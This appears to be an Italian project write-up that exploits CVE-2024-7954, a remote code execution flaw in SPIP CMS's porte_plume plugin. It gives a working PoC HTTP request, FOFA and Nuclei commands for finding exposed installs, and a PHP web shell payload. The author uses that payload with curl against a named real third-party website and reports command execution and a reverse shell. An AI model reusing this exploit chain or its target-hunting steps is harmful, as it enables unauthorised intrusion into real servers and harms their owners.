
Sfruttamento di una vulnerabilità di esecuzione remota di codice - (CVE-2024-7954)
Progetto di test di vulnerabilità del software Inviato da: Shivansh Kuntal
Questo progetto dimostra lo sfruttamento di CVE-2024-7954, una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce SPIP CMS tramite il plugin porte_plume.
La vulnerabilità consente a attaccanti non autenticati di eseguire codice PHP arbitrario sul server di destinazione tramite richieste HTTP POST appositamente crafted.
I test sono stati condotti in un ambiente locale controllato e successivamente estesi a ricognizione nel mondo reale utilizzando FOFA e Nuclei.
Una versione vulnerabile di SPIP CMS, confermata come affetta da CVE-2024-7954, è stata distribuita localmente su un server Apache utilizzando un repository GitHub che ospita release notoriamente vulnerabili.
Strumenti utilizzati
La homepage di SPIP in esecuzione su localhost ha validato la corretta installazione ed è servita come target per lo sfruttamento.
Il plugin porte_plume (prima delle versioni 4.30-alpha2, 4.2.13, 4.1.16) è vulnerabile a causa di una sanitizzazione insufficiente dell'input fornito dall'utente. Gli attaccanti possono iniettare codice PHP in specifici campi del modulo che successivamente viene renderizzato ed eseguito dal server.
Impatto: Esecuzione remota di codice non autenticata Gravità: Critica Vettore di attacco: Rete / HTTP POST
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded
data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB
Una query FOFA è stata utilizzata per enumerare installazioni SPIP pubbliche:
app="SPIP"
FOFA ha restituito diversi punti di metadati:
targets.txt per la scansione batch.Un host reale adatto identificato:
http://www.comite-tricolore.org/
Poiché lo sfruttamento manuale è lento, Nuclei è stato utilizzato per automatizzare il rilevamento di CVE-2024-7954 su un ampio set di target.
nuclei -l targets.txt -t CVE-2024-7954.yaml
-l targets.txt carica i risultati di FOFA-t carica il template PoC personalizzatoNota: il template iniziale non ha restituito alcuna corrispondenza.
nuclei -l targets.txt -t cves/
Questa scansione ha identificato un target reattivo:
http://www.comite-tricolore.org/
Visita:
http://www.comite-tricolore.org/spip.php?page=contact
Confermato:
Usando Burp Suite o curl, modificare il parametro message:
Payload
<?php system($_GET['cmd']); ?>
Visita:
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id
Oppure usando curl:
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"
L'output ha confermato l'esecuzione remota dei comandi.
Un payload appositamente crafted consente un callback reverse shell, permettendo:
whoamilsQuesto progetto dimostra la catena completa di sfruttamento per CVE-2024-7954, dalla ricognizione fino all'ottenimento di una shell interattiva.
Questa vulnerabilità evidenzia come un plugin di formattazione del testo apparentemente innocuo possa creare una compromissione completa del sistema quando non è adeguatamente protetto.